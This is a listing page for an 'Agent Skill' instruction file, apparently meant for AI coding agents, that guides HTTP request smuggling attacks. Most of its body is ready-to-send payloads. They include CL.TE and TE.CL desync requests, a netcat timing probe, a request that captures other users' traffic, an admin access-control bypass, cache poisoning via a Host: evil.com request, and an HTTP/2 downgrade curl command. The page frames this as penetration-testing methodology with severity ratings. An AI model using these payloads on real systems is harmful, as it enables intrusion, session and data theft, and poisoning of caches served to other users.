Attack Request Smuggling

DevOps & Security

attack-request-smuggling

Attack Request Smuggling is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

HTTP request smuggling — CL.TE, TE.CL, TE.TE desync attacks for cache poisoning and auth bypass

View on GitHub ↗

QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

Open your project in Codex.
Copy and paste the prompt below.
Review files and risks before approving any action.

Prompt to paste

Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-request-smuggling/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-request-smuggling, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

HTTP Request Smuggling

Objective

Exploit disagreements between front-end and back-end servers on request boundary parsing (Content-Length vs Transfer-Encoding) to smuggle a second request.

Testing Methodology

Phase 1: Detect Smuggling

CL.TE (front uses Content-Length, back uses Transfer-Encoding):

POST / HTTP/1.1
Host: TARGET
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

TE.CL (front uses Transfer-Encoding, back uses Content-Length):

POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Phase 2: Timing-Based Detection

Send ambiguous request, measure response time:

If back-end times out waiting for more data → smuggling may be possible

# CL.TE detection (timeout = vulnerable)
printf 'POST / HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\nX' | timeout 10 nc TARGET 80

Phase 3: Confirm Smuggling

CL.TE confirmed:

POST / HTTP/1.1
Host: TARGET
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404-proof HTTP/1.1
X: x

If next request to / returns 404 or different page, smuggling is confirmed.

Phase 4: Exploitation

Capture other user's request:

POST / HTTP/1.1
Host: TARGET
Content-Length: 100
Transfer-Encoding: chunked

0

POST /log HTTP/1.1
Content-Length: 10000
Content-Type: application/x-www-form-urlencoded

data=

Next user's request is appended to data= parameter.

Bypass front-end access controls:

POST / HTTP/1.1
Host: TARGET
Content-Length: 50
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: TARGET
X: x

Cache poisoning via smuggling:

POST / HTTP/1.1
Host: TARGET
Content-Length: 100
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: evil.com
X: x

Phase 5: H2.CL / H2 Smuggling

# HTTP/2 downgrade smuggling
curl --http2 https://TARGET/ \
  -H "Content-Length: 0" \
  -H "Transfer-Encoding: chunked" \
  -d "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: TARGET\r\n\r\n"

What Constitutes a Finding

Finding	Severity
Request smuggling → capture user requests	Critical (P1)
Smuggling → admin access bypass	Critical (P1)
Smuggling → cache poisoning	Critical (P1)
CL.TE or TE.CL desync confirmed	High (P2)

Evidence Requirements

Smuggling variant (CL.TE, TE.CL, TE.TE, H2.CL)
Proof of desync (wrong response, timing, captured request)
Impact demonstration (auth bypass, cache poison, request capture)